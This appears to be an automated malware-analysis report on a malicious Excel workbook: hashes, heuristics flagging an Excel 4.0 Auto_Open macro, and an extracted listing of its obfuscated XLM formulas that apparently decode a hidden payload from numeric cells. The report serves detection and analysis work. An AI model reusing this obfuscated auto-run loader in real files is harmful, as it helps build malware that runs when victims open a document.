Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3cd551ae40453b67…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-27 11:40:33 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 3bc30be64a387779f23857150700eb9d SHA-1: 5dd433b7a1219572f397bbf928d45e3c5a175ec9 SHA-256: 3cd551ae40453b67ea38ae5108883d126c043ea421ac22468f7ee8fae821cef4
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6658 bytes
SHA-256: 4cc1c61310ed51ca15c6fe28cc654620bc7346289c2c1ab7bfb2730bb3ce7de1
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  bCllwJ
' 0018     21 LABEL : Cell Value, String Constant - aUJSRa len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I142 
' 0018     24 LABEL : Cell Value, String Constant - dROBqYvbJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - ezqRhXlGmC len=0 
' 0018     20 LABEL : Cell Value, String Constant - FzjIy len=0 
' 0018     24 LABEL : Cell Value, String Constant - iAxHWyLcF len=0 
' 0018     25 LABEL : Cell Value, String Constant - iHUAkWdaTQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - KFRDSFUr len=0 
' 0018     23 LABEL : Cell Value, String Constant - kINNyWpP len=0 
' 0018     23 LABEL : Cell Value, String Constant - lRaJnPIj len=0 
' 0018     22 LABEL : Cell Value, String Constant - MnTSSaW len=0 
' 0018     22 LABEL : Cell Value, String Constant - NGSgzxO len=0 
' 0018     27 LABEL : Cell Value, String Constant - NJeCRmlAYLqy len=0 
' 0018     23 LABEL : Cell Value, String Constant - nTfIhvvn len=0 
' 0018     23 LABEL : Cell Value, String Constant - Nwqpndpe len=0 
' 0018     20 LABEL : Cell Value, String Constant - OfeXx len=0 
' 0018     27 LABEL : Cell Value, String Constant - qOKCtQFAVzMZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - qYlVX len=0 
' 0018     24 LABEL : Cell Value, String Constant - ymazyyuBG len=0 
' 0018     23 LABEL : Cell Value, String Constant - YTpqUCBQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - zdApHRlP len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  bCllwJ,I48,"SET.NAME("iHUAkWdaTQ",0+VALUE("0"))",""
'  bCllwJ,I53,"SET.NAME("ezqRhXlGmC",iHUAkWdaTQ)",""
'  bCllwJ,I57,"SET.NAME("qOKCtQFAVzMZ",iHUAkWdaTQ)",""
'  bCllwJ,I61,"SET.NAME("qYlVX",COUNTA(dROBqYvbJ))",""
'  bCllwJ,I63,"SET.NAME("nTfIhvvn",COUNTA(NGSgzxO))",""
'  bCllwJ,I65,[],""
'  bCllwJ,I67,"SET.NAME("MnTSSaW","")",""
'  bCllwJ,I71,"ezqRhXlGmC",""
'  bCllwJ,I73,"SET.NAME("FzjIy",HLOOKUP("*",dROBqYvbJ,ezqRhXlGmC,FALSE))",""
'  bCllwJ,I78,"OfeXx",""
'  bCllwJ,I82,"SET.NAME("lRaJnPIj",iHUAkWdaTQ)",""
'  bCllwJ,I86,[],""
'  bCllwJ,S87,"",-759.00000000000000000000
'  bCllwJ,S88,"",-928.00000000000000000000
'  bCllwJ,I89,"lRaJnPIj",""
'  bCllwJ,S89,"",-274.00000000000000000000
'  bCllwJ,S90,"",-834.00000000000000000000
'  bCllwJ,S91,"",-782.00000000000000000000
'  bCllwJ,I92,"YTpqUCBQ",""
'  bCllwJ,S92,"",-663.00000000000000000000
'  bCllwJ,I96,"kINNyWpP",""
'  bCllwJ,I101,"KFRDSFUr",""
'  bCllwJ,I103,"SET.NAME("iAxHWyLcF",VALUE(HLOOKUP("*",NGSgzxO,KFRDSFUr,FALSE)))",""
'  bCllwJ,I107,"zdApHRlP",""
'  bCllwJ,I109,"MnTSSaW",""
'  bCllwJ,I114,"qOKCtQFAVzMZ",""
'  bCllwJ,I116,NEXT(),""
'  bCllwJ,I120,"aUJSRa",""
'  bCllwJ,I125,[],""
'  bCllwJ,I128,"Nwqpndpe",""
'  bCllwJ,I133,NEXT(),""
'  bCllwJ,I137,RETURN(),""
'  bCllwJ,I170,"SET.NAME("ymazyyuBG",I48)",""
'  bCllwJ,I175,"dROBqYvbJ",""
'  bCllwJ,I178,"SET.NAME("NGSgzxO",R69C15)",""
'  bCllwJ,I180,"SET.NAME("Nwqpndpe",189)",""
'  bCllwJ,I185,"SET.NAME("NJeCRmlAYLqy",9)",""
'  bCllwJ,I188,ymazyyuBG(),""
'  bCllwJ,I189,HALT(),""

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